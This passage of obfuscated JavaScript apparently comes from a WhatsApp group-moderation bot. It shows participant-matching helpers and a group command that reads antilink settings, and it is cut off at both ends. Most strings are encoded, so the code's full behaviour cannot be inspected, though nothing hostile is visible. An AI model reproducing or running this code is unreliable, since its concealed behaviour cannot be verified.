bIB3rZigfSBg93zwqGAgvYzv8GicaG4PwrcUkvMUkvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvNq','BMHTEhy','mtu5mda4u1LgD1z3','DvzVBMi','z3jVDxbnzxrHzgf0yq','z2v0ChjVzMLSzq','yw50AxrHz2fSBc1RAwnR','s3rPzLG','ig1VCNrHBhmGDg8GywrTAw4UlI4GsgvSBcbICMvHA3mGBg9VC2uG8j+sPq','igHHCYbIzwvUicPlsunlruqQigzVCIb1C2LUzYbHigjVDcekcVcFK4SGuMvHC29UoIbF','DgvTCgXHDgvnzxnZywDL','rK46','z3jVDxbtzxr0Aw5NvxbKyxrL','B3bLBG','r2v0igDYB3vWihbYB2zPBguGCgLJDhvYzsb3AxrOignOyw90AwmGy2fWDgLVBG','qxbWCM92zufSBcbLCNjVCJO','w0HjsKfds0DdxsbcB3qGrgv0zwn0Aw9UiezHAwX1CMuGrgvIDwC6','A2v5','8j+tOIbhCM91CcbbDhrLBNrPB24','mwvAvejKBW','rKfjteve','yw50AxrHz2fSBc13yxjU','4P2mifbYB3zPzguGDxnLCIbVCIbTzw50Aw9U','4PIG77IpicPgt1jdte9trsbjtKLusufuruqQcGRWN46VifrHCMDLDdOG','w0zpuKnmt1nfxsbfCNjVCJO','qgCUDxm','yxbWCM92zs1HBgW','qxr0zw50Aw9U4PQG77IpicbbDhrLBNrPB24G4PQG77Iplcb0AgLZieDdigLZigfIB3v0ihrVigjLigrYzwfKzwqSigHVD2v2zxiGyMvMB3jLihrOyxqSigLMihLVDsbUzwvKigfUihvWzgf0zsWGBwvZC2fNzsbJCMvHDg9YihqUBwuVzwr1CwfYAxOGzM9YihrVB2XZigXPA2uGzgLZlI4GB3rOzxj3AxnLihjLC3qGtuyUlIbNB29KyNLLihDLigXVDMvKihLVDsdIMkdVUi/WN6UL8j+KLW','EhHWBLC','tejbs3a','CMzmENO','8j+vIU+4JYaQufjju09oie1preuGrevbq1rjvKfuruqQipcFLyRVUi8kcVcFMQOGvgHLigrVB3jZigfYzsbVCgvUlIbqzw9WBguGy2fUigXLyxzLigzYzwvSEsbUB3CU','ig1LBwjLCNmUlI4Gve9uquWGqu5osuHjtefusu9oiq','4P2mieDYB3vWCYbVBMX5','w0foveLmsu5lxsdWN5sxieXPBMSGzgv0zwn0zwqGAw4G','y29UDgv4DeLUzM8','4P2mifrOAxmGy29TBwfUzcbPCYbMB3iGz3jVDxbZig9UBhKHifvZzsaUz2v0ChjVzMLSzsbMB3iGre0','DxnLCNbPyW','veyGyNjVipcFMiiGqM90igfPBID0igv2zw4GAw4GDgHLigDYB3vWihbYB3bLCMX5lIbszs1HzgqGBwuH','yw50AwjVDevUywjSzwq','q0Tpu0q','lI4Uig1Vzgu9','uK5Oz0y','CuTWAha','yw50As1IB3q','uvDoAMm','AKrytgi','zuffAeu','uwPYwKW','u21ADhi','C05JteO','cUkpSYbezxbSB3LPBMCGzxHWBg9PDc4UlG','zgvZDhjVEq','qNjZyK8','4PYficPgt1jdte9trsbdt01qtevuruqQcGRWN46VifrHCMDLDdOG','CMvWBgfJzq','4P2mienHBM5VDcbHy2nLC3mGDgHPCYbNCM91Cc4GvgHLigXPBMSGBwf5igjLigv4CgLYzwqGB3iGAw52ywXPzc4','rMfPBgvKihrVihjLBw92zsbHzg1PBJO','yw50AxrHz2fSBc13yxjUlw9U','zM9Yy2XVC2u','D3z1C00','8j+tUcaQufjprKLmrsbqsunuvvjfifjfvKvbtevekIdWN5o4cGRWN5gKifvZzxi6iea','mtCZntzWrLfjq3e','zg9JDw1LBNrnzxnZywDL','C3vJy2vZC2z1BgX5ig51A2vKieDdignYzwf0B3iG8j+sGea','igHHCYbIzwvUicPlsunlruqQigfMDgvYidmGBgLUAYb3yxjUAw5NCYekcL9zB3uGD2vYzsb3yxjUzwqUlI5FipcFKOa','ruXYreS','uvLrCve','rfDSAwS','4P2miejVDcbPCYbUB3qGyxv0Ag9YAxPLzc4GtwfRzsbZDxjLigjVDcbPCYbHzg1PBI4','Dg9mB3DLCKnHC2u','qwrKigeGDxnLCIb0BYb0AguGz3jVDxa','vff6u28','tMP6tgm','yxbrugW','tgvHDMuGquXmigDYB3vWCYbPBNn0yw50BhK','DMLKzw9nzxnZywDL','y05xC0m','Agv6rKK','zMLSDgvY','w0foveLct1rDiezHAwXLzcb0BYbRAwnRoG','r3jVDxaGB25SEs4','sefctLm','4Pwu4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4PwxcUkvKsdWN4Y4icPtvefuvvmGtuvoveLptJOGv0fstIOG8j+mUcdILzek4PwG4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4PwJcUkvKsdIMQdVUi8GtM93ifDbuK5jtKCGDxnLCNmGD2HVicaGicdILzek4PwricaGig1LBNrPB24GDgHPCYbNCM91CcbPBIaGicaG4PwrcUkvKsaGicb0AgvPCIbZDgf0DxmGDxbKyxrLCY4GicaGiokvKqRILzeGicaGicaGicaGicaGicaGicaGicaGicaGicaGicdILzek4PwripcFKPaGx0zPBMfSihDHCM5PBMCGpsblsunlxYaGicdILzek4PwA4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4PwD','Dgv4Da','kVcFMiGGufjju09oie1preuGkefUDgKTtgvMDcKQcGPdDxjYzw50ifn0yxr1CZOG','wvfpzuu','qNvZAw5LC3mGBwvZC2fNzsbRzxKGzgv0zwn0zwq','zgvTB3rLlwfSBa','4PIG77IpieDdiersrufeieXpqurjtKCUlI4GmJaL','qu9ts2C','Auj3AxC','q2XVC2uGz3jVDxaGC2v0DgLUz3m','4P2miev4CgXVAxqGzMfPBgvKoIa','zxv3vxa','8j+zHcb3CM9UzYdWN5MfihvZywDLigv4yw1WBguGC2v0ChbNyYaOCMvWBhKGDg8GAw1Hz2uP','yw50AwDYB3vWBwvUDgLVBI13yxjUlw9U','qw50AwXLzNqGBwv0ywrHDgeGzxjYB3i6','y2f0y2G','rwvqC0K','sur5Euu','zgvMAw5LuhjVCgvYDhK','u2vqDhG','DxnLCG','C3vIAMvJDe93BMvY','r3DHs20','BMHStxa','rhjLywqGzxjYB3i6','s1POAfC','reXJCgK','4PIG77IpieDdiersrufeieXpqurjtKCUlI4','BwvUDgLVBMvKsMLK','DMLLD09Uy2vnzxnZywDLvJi','tKvXCeW','yxHIt3C','ugP0AMO','Eenwt08','qw50As1hCM91Ce1LBNrPB24GkeTPy2SPic0Gs2LJA3mGDxnLCNmGD2HVig1LBNrPB24GDgHLigDYB3vWigLUihn0yxr1CYb1CgrHDgvZ','DMnM','AhLLv2K','x2nVBNrHy3rZlNzJzG','DNLLveO','qgXPza','ywrTAw4','4P2mierYzwfKigzHAwXLzdOG','4P2mifbYB3zPzguGDxnLCIbUDw1IzxiSig1LBNrPB24Sig9YihjLCgX5ihrVigeGBwvZC2fNzsb0BYbRAwnR','w0foveLmsu5llunnrf0GvMvYAwz5ihjLywqTyMfJAZOG','t3vVt0y','r2v0igDYB3vWigLUDML0zsbSAw5R','mtKXotCZnNr0yNfAyW','v1HYEgW','4P2mievYCM9YoIa','w0foveLct1rDipcFPjyGqM90ig1LC3nHz2uGzgv0zwn0zwqGzNjVBsa','4P2mifrOAxmGy29TBwfUzcbJyw4GB25SEsbIzsb1C2vKigLUigDYB3vWCYe','BKvJC3K','4P2mieLUDMfSAwqGBgLUAYbMB3jTyxqUienVDwXKig5VDcbLEhrYywn0igLUDML0zsbJB2rLlG','rw5HyMXLiefUDgKTtgLUAYaOv2fYBIbnB2rLkq','t3bLBIbNCM91CcbZzxr0Aw5NCW','q2HHB3mGs2LUzYbVCIbHzg1PBNmGB25SEse','zxHWB3j0y29UDgfJDhm','z0vOv2q','4P2miezHAwXLzcb0BYbNzw5LCMf0zsbwq0y6ia','8j+tNsaQq3jLyxrLzdOQia','verfChq','z3jVDxa','rMfPBgvKihrVigXLyxzLia','qw50As1uywDbBgWGkfDHCM4Pic0Gv2fYBNmGDxnLCNmGD2HVihvZzsbazxzLCNLVBMuSic50ywDHBgWSigv0yY4','AfbVy0y','CMvTB3zL','se5OEuu','8j+rUYaQqK9pisbdqvvhsfqGwu9visOG8j+rUWOkx0rPzcb5B3uGDgHPBMSGDgHPCYb3yxmGAgLKzgvUp18G8j+KOq','Awvxse8','zxf0C1m','zgvS','uw5fB0G','ywXS','rwDouKO','s2LJA2fSBcbLCNjVCJO','w0rsrufexsbjy29UignOyw5Nzwq','w1zdrL0GrxjYB3i6','ve9iqxm','z3jVDxbqyxj0AwnPCgfUDhnvCgrHDgu','AeznvfO','DxrMltG','Den4wuC','ww91igrVBID0ig93BIb0AguGyM90ihLLDcWGC29YCNKG8j+yLpcFPkm','BM90lwf1DgHVCML6zwq','w0rsrufexsbhCM91CcbJBg9Zzwq','z3jVDxbgzxrJAefSBfbHCNrPy2LWyxrPBMC','y3jLyxrPB24','EhDJAMG','C1bKyNG','8j+uKYbprKy','uNv5C0G','u2nJv2C','Ee9QBxO','4BsWW4JHTl7HTl/HTlWG4BsWYRJHTlRHTkZlOUg1GmQ4iog0SEg0UEg0VUg0TEg0V+g0SE+5LYdIMkdVUy/INABINj4','w0foveLct1rDieHHBMrSzxiGzxjYB3i6','Ahr0Chm6lY9MAwXLCY5JyxrIB3GUBw9Ll2HLB21YCc5QCgC','ChjPC29U','B2zM','z3jVDxaTAMLK','q25zENa','Ce1tDfy','y29UDMvYC2f0Aw9U','4P2miezHAwXLzcb0BYbNzxqGChjVzMLSzsbWAwn0DxjLoIa','lMfWChjVDMvHBgW','8j+mQU+4JYaQq0Hbt1mGvKLtsu9oiefdveLwqvrfrcOG8j+mQU+4JWOkx1LVDxiGC2vJCMv0CYbHCMuGBxKGzw50zxj0ywLUBwvUDf8G8j+oRq','BwPuBwK','rfDysfK','z3jVDxbszxf1zxn0ugfYDgLJAxbHBNrZtgLZDa','4PIG77IpieDdiersrufeieXpqurjtKCUlI4GndaL','CMfUzg9T','4P2mifrOAxmGz3jVDxaGAgfZig5VihbYB2zPBguGCgLJDhvYzsbVCIbPDcDZigHPzgrLBIdWN6UL','DNz4DNe','yw50AwXPBMSTA2LJAW','DxbKyxrLuhjVzMLSzvbPy3r1CMu','DhrMywW','BwfjyLm','nda0','C3vJy2vZC2z1BgX5ig51A2vKigfKBwLUiea','4P2miezHAwXLzcb0BYbNzxqGz3jVDxaGChjVzMLSzsbWAwn0DxjLoIa','y2fWDgLVBG','4P2mifrOAxmGy29TBwfUzcbVBMX5ihDVCMTZigLUigDYB3vWCYe','CLP0tu0','BgLK','qKPyu3C','v2X4s1i','ywj1qKq','B3DUzxi','A2vMr2O','reTVCgi','uMvZzxqGz3jVDxaGAw52AxrLigXPBMS','vhviBKq','yw50AwXPBMTnB2rL','mtu4ndK0wwnUA0js','8j+FOIbptG','B2HOisbnDxn0ihvZzsbPBIbhqYbTyxrLipcFPBi','zgvTB3rL','ig1LBwjLCNmUlI4Gve9uquWGq0Hbt1mH','y2XVC2u','qw50As1hCM91Ce1LBNrPB24GkfDHCM4Pic0Gv2fYBNmGDxnLCNmGD2HVig1LBNrPB24GDgHLigDYB3vWigLUihn0yxr1CYb1CgrHDgvZ','vKvsu0LptJOZlJak','yw50AxrHz2fSBc1RAwnRlw9U','4P2mifvZzxiGAgfZig5VihbYB2zPBguGCgLJDhvYzsbVCIb0AgvPCIbWCML2ywn5ihnLDhrPBMDZigHPzguGAxqG8j+RPq','u0DOAeG','qxbWCM92zsbHBgWGCgvUzgLUzYbNCM91CcbQB2LUihjLCxvLC3rZ','cGPvC2fNztOk4OcIigaUyw50AwXLzNqGB25Gic0Gtg9JAYb0AguGzg9VCNmk4OcIigaUyw50AwXLzNqGB2zMycaTie9Wzw4GDgHLigrVB3jZcGPFv2HLBIbptIWGyw55B25LihDOBYbSzwf2zxmGD2LSBcbIzsbHDxrVBwf0AwnHBgX5ihjLlwfKzgvKiv8','yw50AwjVDa','rwXLDMf0Aw5Nia','tKfpvNy','z2nWCa','4PIG77IpicPlsunlquXmieLosvrjqvrfrcOkcUkpSYbdB29RAw5NigfSBcbTzw1IzxjZlI4U','AMLK','s2DMswW','w0foveLmsu5lxsbiyw5KBgvYigvYCM9YoG','xWOkx05VigjVDhmGywXSB3DLzcbPBIb0AgLZigDYB3vWxYdWN5ka','t0jLAgm','z3jVDxbhzxrjBNzPDgvjBMzV','CLnfvxC','CgLmvKO','DgvTCgXHDgvcDxr0B25szxbSEu1LC3nHz2u','vg90ywWGr0mGzgvZDhj1y3rPB24GlsbJBg9ZzxmSignOyw5NzxmGzxzLCNL0AgLUzYWGA2LJA3mGywXS','DK5VDu4','y2HHDc53Agf0C2fWCc5JB20V','Aw1Hz2vnzxnZywDL','Aez5t0y','uxrWyMG','r3jVDxbZig9UBhK','AejzAgW','D1feueW','sw50zxjHy3rPDMuVDgvTCgXHDguGBwvZC2fNzsaOyM90lw9UBhKGzMvHDhvYzsK','Aw5JBhvKzxm','Ahr0Chm6lY9JAgf0lNDOyxrZyxbWlMnVBs8','vMXhq1K','wxDlu3u','4PYfieXPBMSGCMvZzxqktMv3igXPBMS6igH0DhbZoI8Vy2HHDc53Agf0C2fWCc5JB20V','ALLYwhm','C3vWzxjHzg1PBG','4PYfieDYB3vWig9Wzw5Lza','zMLUza','4P2mifrOAxmGz3jVDxaGAgfZig5VihbYB2zPBguGCgLJDhvYzs4UlIbIB3jPBMCHipcFMlK','lcbSAw5RCYbHCMuGkK5pvcbbteXpv0vekIbPBIb0AgLZigDYB3vWiqOkxW','4PIG77IpieDdiersrufeieXpqurjtKCUlI4GnJaL','rejArKe','sNrpwMC','ygbGcG','yw50AwDYB3vWBwvUDgLVBI1RAwnRlw9U','DxbKyxrLr3jVDxbtzxr0Aw5NCW','vgfNigfSBcbTzw1IzxjZ','8j+sGcbbBgWGywrTAw5ZigrLDgHYB25Lzc4Grw50zxiGDgHLihzVAwqUipcFLQq','yw50AwXPBMSTD2fYBG','BgvUz3rO','AxngB3j3yxjKzwq','z3jVDxbjBNzPDgvdB2rL','4P2miezHAwXLzcb0BYbZyxzLihnLDhrPBMDZisbdB250ywn0igrLDI4','w0rsrufexsbgywLSzwqGDg8Gy2HHBMDLigLJB246','z1bXCK8','AKD1DfO','z2v0r3jVDxbtzxr0Aw5NCW','Eg1xEwm','8j+tHYbhzw5LCMf0Aw5NifzdrIbMAwXLlI4U','4PII77IpieLosvrjqvrjtKCGr0XpqKfmievyt0rvuY4UlIbmzwf2Aw5NigfSBcbNCM91ChmU','BwfW','ru5eoLzdqvjecG','zwjOtKm','sM1xt0K','zgvTB3rLywXS','4Pwu4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4PwxcUkvKsdWN4Y4icPtvefuvvmGtuvoveLptJOGs0LdsYOG8j+mUcdILzek4PwG4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4PwJcUkvKsdINiuGtM93ieTjq0TjtKCGDxnLCNmGD2HVicaGicdILzek4PwricaGig1LBNrPB24GDgHPCYbNCM91CcbPBIaGicaG4PwrcUkvKsaGicb0AgvPCIbZDgf0DxmGDxbKyxrLCY4GicaGiokvKqRILzeGicaGicaGicaGicaGicaGicaGicaGicaGicaGicdILzek4PwripcFKOaGx05Vig1LCMn5igzVCIbZCgfTBwvYC18GicdILzek4PwA4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4PwD','EMrst0C','uxjKC3a','w0foveLmsu5lxsdWN6A1ieTPy2TPBMCG','D25pv0q','4P2mifrOAxmGy29TBwfUzcbPCYbMB3iGz3jVDxbZig9UBhK','q3PdELC','vxbKBNy','EgzUsfe','w0foveLmsu5lxsbgywLSzwqGDg8GzgvSzxrLig1LC3nHz2u6','oIaI','CgfYC2u','DgfNywXS','uhjVBw90zsbHihvZzxiGDg8GywrTAw4','w0foveLct1rDie1LDgfKyxrHigvYCM9YoG','sgLQywnRigDYB3vWignVBNrYB2WGke93BMvYig9UBhKP','CgfYDgLJAxbHBNq','tMHOteG','yw50AwDYB3vWBwvUDgLVBI1VzMy','s3nAvxC','w0foveLmsu5lxsdIMQdVUi8GqM90igLZig5VDcbHzg1PBIdIGjqGy2fUBM90igvUzM9Yy2u','C3bSAxq','zM9YD2fYzgLUz1nJB3jL','ChvZAa','s2LJAYbHihvZzxiGzNjVBsb0AguGz3jVDxa','zw1mywe','C3rVCMfNzq','zgfUz2vY','kVcFPjyGqu5uss1ct1qGtu9ersOkcKn1CNjLBNqGu3rHDhvZoIa','zxHPDgfSBa','lMDYB3vWAMLKidXNCM91CcbPBNzPDguGBgLUAZ4','z3jVDxbQAwq','A2LJAW','qhmUD2HHDhnHChaUBMv0','8j+yIcaQufjju09oie1preuGqunusvzbvevekIdWN5IicGRWN5ssiefUEw9Uzsb3Ag8GBgvHDMvZihDPBgWGyMuGzhjHz2DLzcbIywnRigLTBwvKAwf0zwX5iqOkx1vUBgvZCYb0Agv5igjSB2nRzwqGBwuG8j+yUv8','C01TB2m','ig1LBwjLCNmGzxHWB3j0zwq','rgLZywjSzsbbBNrPluXPBMS','zxbOzw1LCMfSu2v0DgLUz1rPBwvZDgfTCa','w0rsrufexsbgywLSzwqGDg8Gy2HHBMDLigrLC2nYAxb0Aw9UoG','igHHCYbUBYbWCM9MAwXLihbPy3r1CMuGB3iGDgHLAxiGChjPDMfJEsbZzxr0Aw5NCYbOAwrLigL0ipcFQ6u','CMvTB3rLsMLK','8j+sGcbszw1VDMLUzYa','4PYfifbYB21VDgvKihvZzxi','y1nhDwe','CxzTENG','B3fsDg8','w0foveLmsu5lxsdWN5olieDYB3vWia','z2v0Cha','ChjVBw90zq','qM90ig5LzwrZihrVigjLigfKBwLUigzPCNn0lcbICM8','twvTyMvYia','A2LJA2fSBa','u2v0ieDYB3vWifbYB2zPBguGugLJDhvYzq','4Pwu4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4PwxcUkvKsdWN4Y4icPbtLrjlvrbr0fmtdOGs0LdsYOG8j+mUcaGicdILzek4PwG4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4PwJcUkvKsdINiuGtM93ieTjq0TjtKCGDxnLCNmGD2HVoIaGicdILzek4PwriokaOIbvC2uGqgv2zxj5B25LicaGicaGicaGicaGicdILzek4PwriokaOIbvC2uGlNrHz2fSBc8UAgLKzxrHzYaGicaGicdILzek4PwricaGicaGicaGicaGicaGicaGicaGicaGicaGicaG4PwrcUkvKsdWN5kaif9nyxnZihrHzYa9ie1HC3mGA2LJA18GicaG4PwrcUkvMUkvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvKokvNq','EK1JB3G','BwvZC2fNzq','8j+gLcaQsKLeoIOGygbG','rgvTB3rLigeGDxnLCIbMCM9TigfKBwLU','z3jVDxbvCgrHDgvtDwjQzwn0','zw5KC1DPDgG','vw5RBM93BIbLCNjVCG','tI9b','rejrB0C','w0Dfvfbst0zjtevDievYCM9YoG','AM5nrKS','CMvNAxn0zxjdB21Tyw5K','rKvZv2S','z2v0CgzW','BePRDxy','wxbAt1y','4PQG77IpicPbtLrjluXjtKSGv0fstKLorYOGka','yw50AwXLzNq','D2fYBG','CeTzCwq','sxvHvum','igfKBwLUCY4UlIbjtLnuqu5uieniqu9tisdWN4Yr','ywrK','t0L6uKS','4PYfifn1y2nLC3nMDwXSEsbSzwz0igfSBcbNCM91ChmU','BMjIrhC','EM1dvKC','veyGyNjVipcFMiiGyMvNigzVCIbHzg1PBIbWB3DLCIbMAxjZDcdWN5ku8j+sIW','tvHICum','tKPfD24','uhjVBw90zsbHBgWGBwvTyMvYCYb0BYbHzg1PBG','D01AAM4','4P2mifbSzwfZzsbWCM92AwrLigeGDMfSAwqGv2HHDhnbChaGz3jVDxaGAw52AxrLigXPBMSkcLvZywDLoIaUz3jVDxbQAwqGAhr0Chm6lY9JAgf0lNDOyxrZyxbWlMnVBs94EhH4Ea','zgv2AwnLu2vUDe1LC3nHz2u','u0vruva','rMfPBgvKihrVigDLDcbNCM91CcbPBMzV','yxLqrve','svb3wfK','yxjYyxLcDwzMzxi','4P2mifrOAxmGy29TBwfUzcbPCYbMB3iGz3jVDxbZig9UBhKH','A2vAsgm','CgzLugm','C3rYAw5NAwz5','BgvHDMvHBgW','v3btshq','w0rsrufexsbgywLSzwqGDg8Gy2HHBMDLig5HBwu6','8j+uTcbprKy','8j+yIcaQq09svefoqsbiqvmGrvLfuYbfvKvswvDirvjfkIdWN5IicGPFvgHPCYbNCM91CcbJyw4NDcbOAwrLigzYB20GBwvFipcFKyhVUi8','DMLLD09Uy2vnzxnZywDL','AgLKzxrHzW','w0rsrufexsboyw1LignOyw5Nzwq','t3HNDNa','zxH0zw5KzwruzxH0twvZC2fNzq','mJe1wLHlBwDv','vg9Nz2XLiefUDgKTqM90icHRAwnRCYb1C2vYCYbKzxrLy3rLzcbZzw5KAw5NihzPysbIB3rZkq','4P2miejVDcbUB3qGzM91BMqGAw4Gz3jVDxaHifrOAxmGBwf5igjLigr1zsb0BYbxAgf0C0fWCcDZig5LDYbmsuqGzM9YBwf0lIbuCNKGCMuTywrKAw5Nig1LlG','z3jVDxbmzwf2zq','lI4VC3rVCMfNzq','4P2mieTPy2THBgWGzMfPBgvKoIa','cVcFLjmGu3rHDhvZoIaQrvHqt1nfrcOkcL9gzxrJAgvKigj5ienpuLrbtKeGturFipcFMiG','iokaLcbYzxn1Bhq6','zwfNqvq','C2XPy2u','8j+sGcbtwvnuru0GqLjfquniruq','yNvZAw5LC3nnzxnZywDLs2v5','odrothD5rha','sgLNAcbMB3j3yxjKAw5NihnJB3jLicHHDxrVBwf0zwqGCMvSyxKP','8j+KLVcFMQSGkKfoveKTqK9uiefdveLwqvrfrcOkcKa','yNv0Dg9UC01LC3nHz2u','zNjVBq','CgrRBfC','4P2miefUDgKTtgLUAYbesvnbqKXfra','4P2miejVDcbUB3qGzM91BMqGAw4Gz3jVDxaGCgfYDgLJAxbHBNrZlGPuAgLZig1HEsbIzsbKDwuGDg8GsKLeigzVCM1HDcbTAxnTyxrJAcaOteLeihzZifbOB25Lks4ktwfRzsbZDxjLihrOzsbIB3qGAxmGAw4GDgHLigDYB3vWigfUzcbUB3qGAgLKzgvUlG','wKH0z28','vhzAvuG','tvjVD1G','4PYfifbYB2zPBguGCgLJDhvYzsb1CgrHDgvKicHnB2nRkq','mZm3ndq2u1LnvvfP','4PIG77IpieDYB3vWignSzwfYzwqGyNKGq09svefoqsbnraRWN5kaiefSBcbTzw1IzxjZihjLBw92zwqk8j+uPsbqB3DLCMvKigj5ienpuLrbtKeGEcbfrfvrqvjjwG','ChjVzMLSzvbPy3r1CMvvCMW','4PIG77IpicPhqYbdt01qtevuruXziersruferuqQiokyOo+4JWOk8j+sGcbbBgWGBwvTyMvYCYbYzw1VDMvKcVcFLjiGr0mGy2XVC2vKigzVCMv2zxikcLbVD2vYzwqGyNKGq09svefoqsbnrcb4ievevvfbuKLAcNqUBwuVzwr1CwfYAxO','uvHTs1K','y01kAMO','rvvYBgS','zM9Yy2XVC2uTAw52Axm','mtqXmti2oe5IuerKCq','DxH0Duu','vevmo1rzueu9q0vmtdOR','mtKWmdG2mtbKC3vZtKu','w0foveLmsu5lxsdIJ6KGqwrTAw4GC2vUDcbSAw5RiokaLcbZA2LWCgLUzW','sND1Cum','sLrhwxm','qM90ig5LzwrZigfKBwLUihbVD2vYiq','BersDxO','DwjlCvK','sgLQywnRz2mGzxjYB3i6','t1ngyKK'];_0x4cbf=function(){return _0x54a8b9;};return _0x4cbf();}const types_1=require('./types'),storage_1=require(_0x4d270b(0x1da));function getBareNumber(_0x4f157e){if(!_0x4f157e)return'';return _0x4f157e['split']('@')[0x0]['split'](':')[0x0];}function findBotInParticipants(_0x4505c6,_0x190b8d){const _0x3d5933=_0x4d270b,_0x398605=_0x4505c6?.[_0x3d5933(0x2ab)];if(!_0x398605||!_0x190b8d)return undefined;const _0x16c398=_0x398605['id'],_0x58ccc9=_0x398605[_0x3d5933(0x311)];if(_0x58ccc9){const _0x33d0a9=_0x58ccc9['split']('@')[0x0]['split'](':')[0x0];let _0x5e0b6c=_0x190b8d['find'](_0x4f891d=>_0x4f891d['id']===_0x58ccc9);if(_0x5e0b6c)return _0x5e0b6c;_0x5e0b6c=_0x190b8d[_0x3d5933(0x348)](_0x2dc81b=>_0x2dc81b['id'][_0x3d5933(0x17f)]('@')[0x0]['split'](':')[0x0]===_0x33d0a9&&_0x2dc81b['id']['endsWith'](_0x3d5933(0x2be)));if(_0x5e0b6c)return _0x5e0b6c;}if(_0x16c398){let _0x2533f6=_0x190b8d[_0x3d5933(0x348)](_0x174473=>_0x174473['id']===_0x16c398);if(_0x2533f6)return _0x2533f6;}const _0x4945c6=_0x16c398?.[_0x3d5933(0x17f)]('@')[0x0]?.[_0x3d5933(0x17f)](':')[0x0];if(_0x4945c6){const _0x23a91e=_0x190b8d[_0x3d5933(0x348)](_0xf23577=>_0xf23577['id'][_0x3d5933(0x17f)]('@')[0x0]['split'](':')[0x0]===_0x4945c6);if(_0x23a91e)return _0x23a91e;}return undefined;}function findParticipant(_0x55f3c8,_0x5b7ece){const _0x5c7677=_0x4d270b,_0x11f4ed={'tCxYG':function(_0x5da04e,_0x4dab98){return _0x5da04e>=_0x4dab98;}};if(!_0x5b7ece||!_0x55f3c8)return undefined;let _0x309725=_0x55f3c8[_0x5c7677(0x348)](_0x163873=>_0x163873['id']===_0x5b7ece);if(_0x309725)return _0x309725;const _0x2d3844=_0x5b7ece[_0x5c7677(0x17f)]('@')[0x0]['split'](':')[0x0];_0x309725=_0x55f3c8['find'](_0x353b93=>_0x353b93['id'][_0x5c7677(0x17f)]('@')[0x0]['split'](':')[0x0]===_0x2d3844);if(_0x309725)return _0x309725;if(_0x11f4ed[_0x5c7677(0x2e8)](_0x2d3844[_0x5c7677(0x354)],0x8)){_0x309725=_0x55f3c8['find'](_0x1f01cd=>_0x1f01cd['id'][_0x5c7677(0x17f)]('@')[0x0][_0x5c7677(0x340)](_0x2d3844[_0x5c7677(0x1df)](-0x8)));if(_0x309725)return _0x309725;}return undefined;}(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x307),'description':_0x4d270b(0x209),'category':'group','execute':async({msg:_0x24f081,reply:_0x19a968})=>{const _0x22c589=_0x4d270b,_0x3bacd2={'XyeCD':'@g.us','NpdlQ':function(_0x22a56,_0x33bb56){return _0x22a56(_0x33bb56);},'mLxpt':'tUyYK','HABNS':function(_0x42810d,_0x16e1ed){return _0x42810d(_0x16e1ed);},'cNWsC':_0x22c589(0x357)},_0x37842f=_0x24f081[_0x22c589(0x255)]['remoteJid'];if(!_0x37842f[_0x22c589(0x1a6)](_0x3bacd2['XyeCD']))return _0x3bacd2['NpdlQ'](_0x19a968,_0x22c589(0x33c));const _0x341cbd=await storage_1[_0x22c589(0x184)][_0x22c589(0x350)](_0x37842f,{'antilinkMode':_0x22c589(0x18a)});console[_0x22c589(0x223)](_0x22c589(0x21f)+_0x37842f+_0x22c589(0x1dd),_0x341cbd?.[_0x22c589(0x31a)]||_0x22c589(0x258));if(!_0x341cbd)return _0x3bacd2['mLxpt']===_0x3bacd2['mLxpt']?_0x3bacd2[_0x22c589(0x296)](_0x19a968,_0x3bacd2[_0x22c589(0x291)]):(_0x2cf196[_0x22c589(0x21a)](_0x22c589(0x2f5),_0xb9e49d),![]);const _0x5ee730=await storage_1[_0x22c589(0x184)][_0x22c589(0x35b)](_0x37842f);console[_0x22c589(0x223)](_0x22c589(0x2c2)+_0x5ee730?.[_0x22c589(0x31a)]),await _0x19a968('โ
